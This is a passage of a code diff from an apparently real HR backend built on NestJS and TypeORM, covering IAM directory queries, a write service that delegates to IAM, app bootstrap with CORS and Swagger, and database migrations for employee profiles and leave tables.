return this.dataSource.query<IamUnit[]>(
`SELECT id,
name,
key,
parent_unit_id AS "parentUnitId",
organization_id AS "organizationId"
FROM iam.units
WHERE parent_unit_id = $1 AND deleted_at IS NULL
ORDER BY name->>'en'`,
[unitId],
);
}
/**
* Positions in a unit, with their current holder count and the HR headcount
* overlay. Drives the unit detail panel — one query rather than one per post.
*/
async findUnitPositions(unitId: string): Promise<UnitPositionRow[]> {
return this.dataSource.query<UnitPositionRow[]>(
`SELECT p.id,
p.name,
p.key,
p.rank,
p.parent_position_id AS "parentPositionId",
(SELECT count(*)::int FROM iam.employee_positions ep
WHERE ep.position_id = p.id
AND ep.is_current = true
AND ep.is_delegate = false
AND ep.status = 'APPROVED') AS "holderCount",
jp.id AS "jobPositionId",
jp.budgeted_count AS "budgetedCount",
jp.is_open AS "isOpen"
FROM iam.positions p
LEFT JOIN hr.job_positions jp
ON jp.position_id = p.id AND jp.deleted_at IS NULL
WHERE p.unit_id = $1 AND p.deleted_at IS NULL
ORDER BY p.rank ASC, p.name->>'en' ASC`,
[unitId],
);
}
async findPosition(positionId: string): Promise<IamPosition | null> {
const rows = await this.dataSource.query<IamPosition[]>(
`SELECT id,
name,
key,
rank,
parent_position_id AS "parentPositionId",
unit_id AS "unitId",
organization_id AS "organizationId"
FROM iam.positions
WHERE id = $1 AND deleted_at IS NULL
LIMIT 1`,
[positionId],
);
return rows[0] ?? null;
}
async requirePosition(positionId: string): Promise<IamPosition> {
const position = await this.findPosition(positionId);
if (!position) throw new NotFoundException(`No IAM position ${positionId}`);
return position;
}
/**
* The employee's line manager, derived from the IAM position hierarchy:
* the employee's current position → its `parent_position_id` → whoever
* currently holds that parent position.
*
* This is the default approver for leave (3.2) and the default reviewer for
* appraisals (3.6). `hr.employee_profiles.manager_employee_id` overrides it
* when set, which is why this returns null rather than throwing — a unit head
* legitimately has no parent position.
*
* Delegated positions are excluded, and the reason is sharper than it looks:
* delegation on this platform belongs to the RECORD MANAGEMENT SYSTEM — a
* holder hands their record duties to a colleague for a period. It says
* nothing about the HR reporting line. Treating an RMS delegate as somebody's
* line manager would route leave approvals to a person who was only ever
* asked to handle paperwork.
*
* A parent position can have MANY current holders — verified against the live
* database, where "Ticket Officer" has 20 and "Passenger Director" 9. "The"
* line manager is therefore ambiguous, and an unordered LIMIT 1 would return a
* different person between two calls. The tiebreak below makes the answer
* deterministic by picking the longest-serving holder (earliest start date,
* then earliest row, then lowest id). Where that is not the right approver,
* `hr.employee_profiles.manager_employee_id` is the override — this is the
* case it exists for.
*/
async findLineManagerEmployeeId(employeeId: string): Promise<string | null> {
const rows = await this.dataSource.query<{ managerEmployeeId: string }[]>(
`SELECT parent_holder.employee_id AS "managerEmployeeId"
FROM iam.employee_positions ep
JOIN iam.positions p
ON p.id = ep.position_id
AND p.deleted_at IS NULL
JOIN iam.employee_positions parent_holder
ON parent_holder.position_id = p.parent_position_id
AND parent_holder.is_current = true
AND parent_holder.is_delegate = false
AND parent_holder.status = 'APPROVED'
WHERE ep.employee_id = $1
AND ep.is_current = true
AND ep.is_delegate = false
AND ep.status = 'APPROVED'
AND parent_holder.employee_id <> $1
ORDER BY p.rank ASC,
parent_holder.start_date ASC NULLS LAST,
parent_holder.created_at ASC,
parent_holder.employee_id ASC
LIMIT 1`,
[employeeId],
);
return rows[0]?.managerEmployeeId ?? null;
}
/**
* How many current, non-delegate holders a position has. Feeds
* `hr.job_positions.current_count`, which is a cache of this number — IAM
* remains the source of truth for who holds what.
*/
async countCurrentPositionHolders(positionId: string): Promise<number> {
const rows = await this.dataSource.query<{ count: string }[]>(
`SELECT COUNT(*)::text AS count
FROM iam.employee_positions
WHERE position_id = $1
AND is_current = true
AND is_delegate = false
AND status = 'APPROVED'`,
[positionId],
);
return parseInt(rows[0]?.count ?? "0", 10);
}
/** Every unit id at or beneath `unitId`, for department-scoped listings. */
async findUnitSubtreeIds(unitId: string): Promise<string[]> {
const rows = await this.dataSource.query<{ id: string }[]>(
`WITH RECURSIVE subtree AS (
SELECT id FROM iam.units WHERE id = $1 AND deleted_at IS NULL
UNION ALL
SELECT u.id
FROM iam.units u
JOIN subtree s ON u.parent_unit_id = s.id
WHERE u.deleted_at IS NULL
)
SELECT id FROM subtree`,
[unitId],
);
return rows.map((row) => row.id);
}
}

View File

@@ -0,0 +1,168 @@
import { Injectable, OnModuleInit } from "@nestjs/common";
import { ModuleRef } from "@nestjs/core";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import type { TCurrentUser as IamCurrentUser } from "@tria-plc/iamapi-common/types/current-user.type";
import { PositionService } from "@tria-plc/iamapi-common/module/organization-structure/services/position.service";
import { UnitService } from "@tria-plc/iamapi-common/module/organization-structure/services/unit.service";
import { EmployeePositionService } from "@tria-plc/iamapi-common/module/organization-structure/services/employee-position.service";
import { EmployeeService } from "@tria-plc/iamapi-common/module/organization-structure/services/employee.service";
/**
* The WRITE counterpart to IamDirectoryService.
*
* Every change HR makes to IAM data goes through IAM's own services, so IAM's
* validation, hooks, notifications and audit all run. HR never INSERTs into
* `iam.*` itself — doing so would fork the behaviour one silent row at a time.
*
* Resolved with `ModuleRef({ strict: false })` rather than constructor
* injection, because `OrganizationStructureModule` exports only
* `OrganizationService`; the rest are providers in the app graph but not
* exported, so they are unreachable by ordinary injection. Verified working
* against the package at 1.3.4.
*
* If a future version exports them, this whole indirection collapses into
* normal constructor injection and nothing else changes.
*
* VERSION SKEW, contained here on purpose: `iamapi-common@1.3.4` ships its own
* `TCurrentUser` whose `employee.position` carries two fields (`applications`,
* `positionTypes`) that `api-common@1.6.0`'s type does not. 1.6.0 is the newest
* api-common artifact that exists — its source repo is still on 1.4.3 — so the
* gap cannot be closed by upgrading. The value is the same object at runtime;
* only the declarations disagree. `asIamUser` marks every crossing so the day
* api-common catches up, the casts are trivial to find and delete.
*/
const asIamUser = (user: TCurrentUser): IamCurrentUser =>
user as unknown as IamCurrentUser;
@Injectable()
export class IamOperationsService implements OnModuleInit {
private units!: UnitService;
private positions!: PositionService;
private employeePositions!: EmployeePositionService;
private employees!: EmployeeService;
constructor(private readonly moduleRef: ModuleRef) {}
onModuleInit(): void {
// Resolved once at boot, not per call: a missing provider should fail the
// app at startup, not the first time an HR officer clicks "create unit".
this.units = this.moduleRef.get(UnitService, { strict: false });
this.positions = this.moduleRef.get(PositionService, { strict: false });
this.employeePositions = this.moduleRef.get(EmployeePositionService, {
strict: false,
});
this.employees = this.moduleRef.get(EmployeeService, { strict: false });
}
// ── Units ────────────────────────────────────────────────────────────────
async createUnit(
payload: {
name: { am: string; en: string };
key: string;
organizationId?: string;
parentUnitId?: string;
},
user: TCurrentUser,
) {
return this.units.create(payload as never, asIamUser(user));
}
/**
* Re-parent a unit. IAM moves the whole subtree with it — the callers's UI
* must say so before running this.
*/
async moveUnit(unitId: string, newParentUnitId: string): Promise<void> {
await this.units.relateUnitToUnit({ unitId, newParentUnitId } as never);
}
// ── Positions ────────────────────────────────────────────────────────────
async createPosition(
payload: {
name: { am: string; en: string };
key: string;
unitId: string;
organizationId?: string;
parentPositionId?: string;
rank: number;
positionTypeId?: string;
},
user: TCurrentUser,
) {
return this.positions.create(payload as never, asIamUser(user));
}
/** `null` promotes the position to a root of its unit's chart. */
async changePositionParent(
positionId: string,
newParentId: string | null,
): Promise<void> {
await this.positions.changeParentPosition(positionId, newParentId);
}
async softDeletePosition(positionId: string, user: TCurrentUser) {
return this.positions.softDelete(positionId, asIamUser(user));
}
// ── Assignment ───────────────────────────────────────────────────────────
async assignEmployeeToPosition(positionId: string, employeeId: string) {
return this.employeePositions.assignNewEmployee({
positionId,
employeeId,
} as never);
}
async removeEmployeeFromPosition(positionId: string, employeeId: string) {
return this.employeePositions.removeAssignedEmployee({
positionId,
employeeId,
} as never);
}
/**
* Create an IAM user + employee + position assignment in one call. This is
* IAM's own hire path — HR adds only its profile on top.
*/
async inviteEmployeeToPosition(
payload: {
positionId: string;
username: string;
phoneNumber: string;
email: string;
name: { am: string; en: string };
},
user: TCurrentUser,
) {
return this.employeePositions.inviteNewEmployee(payload as never, asIamUser(user));
}
async delegateToPosition(
payload: {
positionId: string;
unitId: string;
employeeId?: string;
startDate?: Date;
endDate?: Date;
},
user: TCurrentUser,
) {
return this.employeePositions.delegateEmployeeToPosition(
payload as never,
asIamUser(user),
);
}
// ── Employee lifecycle (IAM's, distinct from HR's employment state) ──────
// IAM's activate/deactivate take the employee id alone — they read the actor
// from the request context themselves, so no user argument is passed here.
async activateEmployee(employeeId: string) {
return this.employees.activateEmployee(employeeId);
}
async deactivateEmployee(employeeId: string) {
return this.employees.deactivateEmployee(employeeId);
}
}

View File

@@ -0,0 +1,69 @@
import "reflect-metadata";
import "dotenv/config";
import { NestFactory } from "@nestjs/core";
import { ValidationPipe } from "@nestjs/common";
import { DocumentBuilder, SwaggerModule } from "@nestjs/swagger";
import { AppModule } from "./app.module";
async function bootstrap() {
const app = await NestFactory.create(AppModule);
app.setGlobalPrefix("api/v1");
// The HR frontend is a separate origin (its own Vite dev server, its own host
// in production), so every call from it is cross-origin and dies at the
// preflight without this. `credentials: true` is required because the client
// sends the session cookie alongside the bearer token.
//
// Origins come from one comma-separated env var, matching how edr-passenger-api
// does it; the fallback is the HR web dev port.
const corsOrigins = (process.env.CORS_ORIGINS ?? "http://localhost:5185")
.split(",")
.map((origin) => origin.trim())
.filter((origin) => origin.length > 0);
app.enableCors({
origin: corsOrigins,
methods: ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
allowedHeaders: [
"Content-Type",
"Authorization",
"Accept-Language",
"X-Client-App",
"X-Request-ID",
],
credentials: true,
});
app.useGlobalPipes(
new ValidationPipe({
whitelist: true,
transform: true,
forbidUnknownValues: false,
}),
);
const config = new DocumentBuilder()
.setTitle("EDR HR API")
.setDescription(
"Human Resources — the HR extension of IAM. Employee profiles hang off " +
"iam.employees; departments are iam.units with an HR satellite; job " +
"positions extend iam.positions. HR never duplicates IAM: no auth, no " +
"users, no org hierarchy of its own — it imports IamModule and calls " +
"IAM's own services for the writes it needs (org changes, hiring, " +
"account activation), reading through raw SQL projections.",
)
.setVersion("1.0.0")
.addBearerAuth()
.build();
SwaggerModule.setup("api-docs", app, SwaggerModule.createDocument(app, config), {
customSiteTitle: "EDR HR API",
swaggerOptions: { persistAuthorization: true },
});
const port = process.env.PORT ?? 3005;
await app.listen(port);
console.log(`🚀 EDR HR API running on port ${port}`);
console.log(`📚 Swagger: http://localhost:${port}/api-docs`);
}
bootstrap();

View File

@@ -0,0 +1,252 @@
import { MigrationInterface, QueryRunner } from "typeorm";
/**
* HR baseline — Module 3.1 (Employee Management).
*
* Creates the four tables the HR extension of IAM needs plus the employee
* document index. All DDL is idempotent (`IF NOT EXISTS`), per the house rule,
* so a partially-applied run can be repeated safely.
*
* Deliberate omissions:
* - No foreign keys into `iam.*`. Cross-schema references are soft UUIDs with
* denormalized display data — the platform's existing stance (there are zero
* FKs from `freight.*` into `iam.*`). Validation happens in the service layer
* via IamDirectoryService.
* - No `hr.departments` table. The department hierarchy is `iam.units`;
* `hr.unit_hr_profiles` only adds the HR/Finance attributes on top of it.
*
* Timestamp 3600000000000 continues the freight convention of a 36xx.. prefix and
* is unique within this app's (currently empty) migration folder.
*/
export class HrBaseline3600000000000 implements MigrationInterface {
name = "HrBaseline3600000000000";
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`CREATE SCHEMA IF NOT EXISTS "hr"`);
await queryRunner.query(`CREATE EXTENSION IF NOT EXISTS "pgcrypto"`);
// ── job_titles ────────────────────────────────────────────────────────
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."job_titles" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"name" jsonb NOT NULL,
"code" varchar(32) NOT NULL,
"grade_level" integer NOT NULL DEFAULT 1,
"salary_band_min" numeric(14,2),
"salary_band_max" numeric(14,2),
"description" jsonb,
"is_active" boolean NOT NULL DEFAULT true,
"created_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_job_titles_salary_band"
CHECK ("salary_band_min" IS NULL OR "salary_band_max" IS NULL
OR "salary_band_max" >= "salary_band_min")
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_job_titles_org_code"
ON "hr"."job_titles" ("organization_id", "code")
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_job_titles_organization_id"
ON "hr"."job_titles" ("organization_id")
`);
// ── unit_hr_profiles ──────────────────────────────────────────────────
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."unit_hr_profiles" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"unit_id" uuid NOT NULL,
"organization_id" uuid NOT NULL,
"cost_centre_code" varchar(32),
"headcount_budget" integer NOT NULL DEFAULT 0,
"head_employee_id" uuid,
"finance_expense_account_id" uuid,
"is_hr_active" boolean NOT NULL DEFAULT true,
"created_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_unit_hr_profiles_headcount_budget"
CHECK ("headcount_budget" >= 0)
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_unit_hr_profiles_unit_id"
ON "hr"."unit_hr_profiles" ("unit_id")
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_unit_hr_profiles_organization_id"
ON "hr"."unit_hr_profiles" ("organization_id")
`);
// ── job_positions ─────────────────────────────────────────────────────
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."job_positions" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"position_id" uuid NOT NULL,
"job_title_id" uuid,
"unit_id" uuid,
"budgeted_count" integer NOT NULL DEFAULT 1,
"current_count" integer NOT NULL DEFAULT 0,
"is_open" boolean NOT NULL DEFAULT false,
"created_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_job_positions_budgeted_count" CHECK ("budgeted_count" >= 0),
CONSTRAINT "ck_job_positions_current_count" CHECK ("current_count" >= 0),
CONSTRAINT "fk_job_positions_job_title"
FOREIGN KEY ("job_title_id") REFERENCES "hr"."job_titles"("id")
ON DELETE SET NULL
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_job_positions_position_id"
ON "hr"."job_positions" ("position_id")
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_job_positions_organization_id"
ON "hr"."job_positions" ("organization_id")
`);
// ── employee_profiles ─────────────────────────────────────────────────
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."employee_profiles" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"employee_id" uuid NOT NULL,
"organization_id" uuid NOT NULL,
"employee_number" varchar(64) NOT NULL,
"date_of_birth" date,
"amharic_date_of_birth" varchar(32),
"gender" varchar(16),
"nationality" varchar(64) DEFAULT 'Ethiopian',
"national_id" varchar(64),
"tin_number" varchar(32),
"marital_status" varchar(16),
"children_count" integer NOT NULL DEFAULT 0,
"work_phone" varchar(32),
"work_email" varchar(128),
"personal_address" jsonb,
"emergency_contact_name" jsonb,
"emergency_contact_phone" varchar(32),
"emergency_contact_relation" varchar(64),
"job_title_id" uuid,
"work_location_id" uuid,
"employment_type" varchar(16) NOT NULL DEFAULT 'PERMANENT',
"hire_date" date NOT NULL,
"amharic_hire_date" varchar(32),
"contract_end_date" date,
"probation_end_date" date,
"employment_state" varchar(16) NOT NULL DEFAULT 'PROBATION',
"termination_date" date,
"termination_reason" varchar(128),
"manager_employee_id" uuid,
"salary_mode" varchar(16) NOT NULL DEFAULT 'BANK',
"bank_name" varchar(128),
"bank_account_number" varchar(64),
"bank_account_name" varchar(128),
"is_pension_eligible" boolean NOT NULL DEFAULT true,
"profile_photo_document_id" uuid,
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_employee_profiles_children_count" CHECK ("children_count" >= 0),
CONSTRAINT "ck_employee_profiles_probation_after_hire"
CHECK ("probation_end_date" IS NULL OR "probation_end_date" >= "hire_date"),
CONSTRAINT "ck_employee_profiles_contract_after_hire"
CHECK ("contract_end_date" IS NULL OR "contract_end_date" >= "hire_date"),
CONSTRAINT "ck_employee_profiles_termination_after_hire"
CHECK ("termination_date" IS NULL OR "termination_date" >= "hire_date"),
CONSTRAINT "ck_employee_profiles_not_own_manager"
CHECK ("manager_employee_id" IS NULL OR "manager_employee_id" <> "employee_id"),
CONSTRAINT "fk_employee_profiles_job_title"
FOREIGN KEY ("job_title_id") REFERENCES "hr"."job_titles"("id")
ON DELETE SET NULL
)
`);
// Unique on employee_id, ignoring soft-deleted rows, so a profile can be
// re-created after one is removed without dropping the guarantee that a live
// employee has at most one.
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_profiles_employee_id"
ON "hr"."employee_profiles" ("employee_id")
WHERE "deleted_at" IS NULL
`);
// Employee numbers are NOT filtered on deleted_at: a number must never be
// reissued, or an archived payslip would point at two different people.
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_profiles_org_employee_number"
ON "hr"."employee_profiles" ("organization_id", "employee_number")
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_employee_profiles_organization_id"
ON "hr"."employee_profiles" ("organization_id")
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_employee_profiles_org_state"
ON "hr"."employee_profiles" ("organization_id", "employment_state")
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_employee_profiles_manager"
ON "hr"."employee_profiles" ("manager_employee_id")
WHERE "manager_employee_id" IS NOT NULL
`);
// ── employee_documents ────────────────────────────────────────────────
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."employee_documents" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"employee_profile_id" uuid NOT NULL,
"organization_id" uuid NOT NULL,
"document_type" varchar(32) NOT NULL,
"document_id" uuid NOT NULL,
"document_number" varchar(128),
"issue_date" date,
"expiry_date" date,
"issuing_authority" varchar(128),
"notes" jsonb,
"created_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_employee_documents_expiry_after_issue"
CHECK ("issue_date" IS NULL OR "expiry_date" IS NULL
OR "expiry_date" >= "issue_date"),
CONSTRAINT "fk_employee_documents_profile"
FOREIGN KEY ("employee_profile_id")
REFERENCES "hr"."employee_profiles"("id") ON DELETE CASCADE
)
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_employee_documents_profile"
ON "hr"."employee_documents" ("employee_profile_id")
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_employee_documents_expiry"
ON "hr"."employee_documents" ("organization_id", "expiry_date")
WHERE "expiry_date" IS NOT NULL
`);
}
public async down(queryRunner: QueryRunner): Promise<void> {
// Reverse dependency order. The schema itself is left in place — dropping it
// would take any later HR migration's tables with it.
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."employee_documents"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."employee_profiles"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."job_positions"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."unit_hr_profiles"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."job_titles"`);
}
}

View File

@@ -0,0 +1,106 @@
import { MigrationInterface, QueryRunner } from "typeorm";
/**
* Removes the denormalized `organization_id` from the two employee-scoped HR
* tables.
*
* An employee's organization is IAM's fact. Copying it into `hr` created a
* second answer to "which tenant is this person in", which can go stale the
* moment IAM moves someone. Scoping now joins `iam.employees` instead — cheap,
* because the platform is one database and the join is on a primary key.
*
* Consequence, deliberately accepted: employee numbers become GLOBALLY unique
* rather than unique per organization. Per-org uniqueness needs the column back
* (Postgres cannot enforce uniqueness across a join), and a global number also
* removes a genuine confusion — with per-org numbering a cross-organization
* list shows two different people both labelled EMP-00001.
*/
export class HrDropDenormalizedOrganization3600000000001
implements MigrationInterface
{
name = "HrDropDenormalizedOrganization3600000000001";
public async up(queryRunner: QueryRunner): Promise<void> {
// Guard against a collision before adding the global constraint: if two
// organizations already issued the same number, fail loudly here rather
// than half-apply.
const clashes = await queryRunner.query(
`SELECT employee_number, count(*) AS n
FROM "hr"."employee_profiles"
GROUP BY employee_number HAVING count(*) > 1`,
);
if (clashes.length) {
throw new Error(
`Cannot make employee_number globally unique: ${clashes.length} duplicate(s) ` +
`across organizations — ${clashes
.map((c: { employee_number: string }) => c.employee_number)
.join(", ")}. Renumber them first.`,
);
}
await queryRunner.query(
`DROP INDEX IF EXISTS "hr"."uq_employee_profiles_org_employee_number"`,
);
await queryRunner.query(
`DROP INDEX IF EXISTS "hr"."idx_employee_profiles_organization_id"`,
);
await queryRunner.query(
`DROP INDEX IF EXISTS "hr"."idx_employee_profiles_org_state"`,
);
await queryRunner.query(
`DROP INDEX IF EXISTS "hr"."idx_employee_documents_expiry"`,
);
await queryRunner.query(
`CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_profiles_employee_number"
ON "hr"."employee_profiles" ("employee_number")`,
);
await queryRunner.query(
`CREATE INDEX IF NOT EXISTS "idx_employee_profiles_state"
ON "hr"."employee_profiles" ("employment_state")`,
);
await queryRunner.query(
`CREATE INDEX IF NOT EXISTS "idx_employee_documents_expiry"
ON "hr"."employee_documents" ("expiry_date")
WHERE "expiry_date" IS NOT NULL`,
);
await queryRunner.query(
`ALTER TABLE "hr"."employee_profiles" DROP COLUMN IF EXISTS "organization_id"`,
);
await queryRunner.query(
`ALTER TABLE "hr"."employee_documents" DROP COLUMN IF EXISTS "organization_id"`,
);
}
public async down(queryRunner: QueryRunner): Promise<void> {
// Restores the columns and backfills them from IAM, so a revert lands on
// correct values rather than nulls.
await queryRunner.query(
`ALTER TABLE "hr"."employee_profiles" ADD COLUMN IF NOT EXISTS "organization_id" uuid`,
);
await queryRunner.query(
`UPDATE "hr"."employee_profiles" p
SET organization_id = e.organization_id
FROM "iam"."employees" e
WHERE e.id = p.employee_id`,
);
await queryRunner.query(
`ALTER TABLE "hr"."employee_documents" ADD COLUMN IF NOT EXISTS "organization_id" uuid`,
);
await queryRunner.query(
`UPDATE "hr"."employee_documents" d
SET organization_id = e.organization_id
FROM "hr"."employee_profiles" p
JOIN "iam"."employees" e ON e.id = p.employee_id
WHERE p.id = d.employee_profile_id`,
);
await queryRunner.query(
`DROP INDEX IF EXISTS "hr"."uq_employee_profiles_employee_number"`,
);
await queryRunner.query(
`CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_profiles_org_employee_number"
ON "hr"."employee_profiles" ("organization_id", "employee_number")`,
);
}
}

View File

@@ -0,0 +1,39 @@
import { MigrationInterface, QueryRunner } from "typeorm";
/**
* Adds `hr.employee_profiles.is_provisional`.
*
* Set when a profile was created by auto-provisioning rather than by someone
* completing the form: its hire date is a proxy (the IAM record's creation date)
* and its employment type a default. Payroll and leave accrual both key off hire
* date, so a provisional row must be visibly distinguishable from a recorded
* one — otherwise a guessed date silently becomes a salary calculation.
*/
export class HrEmployeeProvisionalFlag3600000000002
implements MigrationInterface
{
name = "HrEmployeeProvisionalFlag3600000000002";
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(
`ALTER TABLE "hr"."employee_profiles"
ADD COLUMN IF NOT EXISTS "is_provisional" boolean NOT NULL DEFAULT false`,
);
// Partial index: the "needs real data" queue is a small subset of a table
// that will grow, and it is the only thing this column is filtered on.
await queryRunner.query(
`CREATE INDEX IF NOT EXISTS "idx_employee_profiles_provisional"
ON "hr"."employee_profiles" ("is_provisional")
WHERE "is_provisional" = true`,
);
}
public async down(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(
`DROP INDEX IF EXISTS "hr"."idx_employee_profiles_provisional"`,
);
await queryRunner.query(
`ALTER TABLE "hr"."employee_profiles" DROP COLUMN IF EXISTS "is_provisional"`,
);
}
}

View File

@@ -0,0 +1,68 @@
import { MigrationInterface, QueryRunner } from "typeorm";
/**
* Finishes what 3600000000001 started: removes the last IAM facts copied into
* `hr`.
*
* hr.job_positions.unit_id → iam.positions.unit_id
* hr.job_positions.organization_id → iam.positions.organization_id
* hr.unit_hr_profiles.organization_id → iam.units.organization_id
*
* Each was a denormalized cache, and each could disagree with IAM the moment a
* position or unit was moved between units or organizations. Scoping and
* grouping now join IAM instead — cheap, since it is one database and the join
* is on a primary key.
*
* `hr.job_titles.organization_id` deliberately STAYS: a job title has no IAM
* parent to inherit an organization from, so that column is HR's own fact, not
* a copy of anyone else's.
*/
export class HrDropRemainingDenormalizedIam3600000000003
implements MigrationInterface
{
name = "HrDropRemainingDenormalizedIam3600000000003";
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(
`DROP INDEX IF EXISTS "hr"."idx_job_positions_organization_id"`,
);
await queryRunner.query(
`DROP INDEX IF EXISTS "hr"."idx_unit_hr_profiles_organization_id"`,
);
await queryRunner.query(
`ALTER TABLE "hr"."job_positions" DROP COLUMN IF EXISTS "unit_id"`,
);
await queryRunner.query(
`ALTER TABLE "hr"."job_positions" DROP COLUMN IF EXISTS "organization_id"`,
);
await queryRunner.query(
`ALTER TABLE "hr"."unit_hr_profiles" DROP COLUMN IF EXISTS "organization_id"`,
);
}
public async down(queryRunner: QueryRunner): Promise<void> {
// Restore and backfill from IAM, so a revert lands on correct values.
await queryRunner.query(
`ALTER TABLE "hr"."job_positions" ADD COLUMN IF NOT EXISTS "unit_id" uuid`,
);
await queryRunner.query(
`ALTER TABLE "hr"."job_positions" ADD COLUMN IF NOT EXISTS "organization_id" uuid`,
);
await queryRunner.query(
`UPDATE "hr"."job_positions" jp
SET unit_id = p.unit_id, organization_id = p.organization_id
FROM "iam"."positions" p
WHERE p.id = jp.position_id`,
);
await queryRunner.query(
`ALTER TABLE "hr"."unit_hr_profiles" ADD COLUMN IF NOT EXISTS "organization_id" uuid`,
);
await queryRunner.query(
`UPDATE "hr"."unit_hr_profiles" up
SET organization_id = u.organization_id
FROM "iam"."units" u
WHERE u.id = up.unit_id`,
);
}
}

View File

@@ -0,0 +1,156 @@
import { MigrationInterface, QueryRunner } from "typeorm";
/**
* Leave foundation — Module 3.2, slice 1.
*
* Three tables, none of which decide policy in code:
*
* - `leave_settings` one row per organization: what a leave year is, which
* days are not working days, how carry-over expires.
* - `leave_types` the catalogue. Every statutory number (16 days annual,
* 120 days maternity, …) is a COLUMN here, not a constant
* in a service, because the two statutes in play disagree:
* Labour Proclamation 1156/2019 gives 16 annual days +1 per
* 2 years of service, while Federal Civil Servants
* Proclamation 1064/2017 gives 20 +1 per year. Which one
* applies is a seeding decision, not a code change.
* - `holidays` concrete observed dates. Ethiopian public holidays cannot
* be stored as a fixed Gregorian month/day — the Ethiopian
* calendar drifts against Gregorian by a day around leap
* years, and the Islamic ones move ~11 days a year — so
* each occurrence is its own row and lunar ones are flagged
* estimated until confirmed.
*
* All DDL idempotent, per the house rule. No foreign keys into `iam.*`.
*/
export class HrLeaveFoundation3600000000004 implements MigrationInterface {
name = "HrLeaveFoundation3600000000004";
public async up(queryRunner: QueryRunner): Promise<void> {
// ── leave_settings ────────────────────────────────────────────────────
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."leave_settings" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"leave_year_basis" varchar(20) NOT NULL DEFAULT 'FISCAL_YEAR',
"fiscal_year_start_month" smallint NOT NULL DEFAULT 7,
"fiscal_year_start_day" smallint NOT NULL DEFAULT 8,
"weekend_days" smallint[] NOT NULL DEFAULT '{0}',
"carry_over_deadline_months" smallint NOT NULL DEFAULT 6,
"allow_negative_balance" boolean NOT NULL DEFAULT false,
"statute_reference" varchar(64),
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_leave_settings_year_basis"
CHECK ("leave_year_basis" IN ('FISCAL_YEAR','CALENDAR_YEAR','HIRE_ANNIVERSARY')),
CONSTRAINT "ck_leave_settings_fiscal_month"
CHECK ("fiscal_year_start_month" BETWEEN 1 AND 12),
CONSTRAINT "ck_leave_settings_fiscal_day"
CHECK ("fiscal_year_start_day" BETWEEN 1 AND 31),
CONSTRAINT "ck_leave_settings_carry_over"
CHECK ("carry_over_deadline_months" BETWEEN 0 AND 24)
)
`);
// Partial unique: a soft-deleted settings row must not block a new one.
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_leave_settings_organization"
ON "hr"."leave_settings" ("organization_id") WHERE "deleted_at" IS NULL
`);
// ── leave_types ───────────────────────────────────────────────────────
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."leave_types" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"code" varchar(32) NOT NULL,
"name" jsonb NOT NULL,
"description" jsonb,
"is_paid" boolean NOT NULL DEFAULT true,
"accrual_method" varchar(24) NOT NULL DEFAULT 'ANNUAL_ENTITLEMENT',
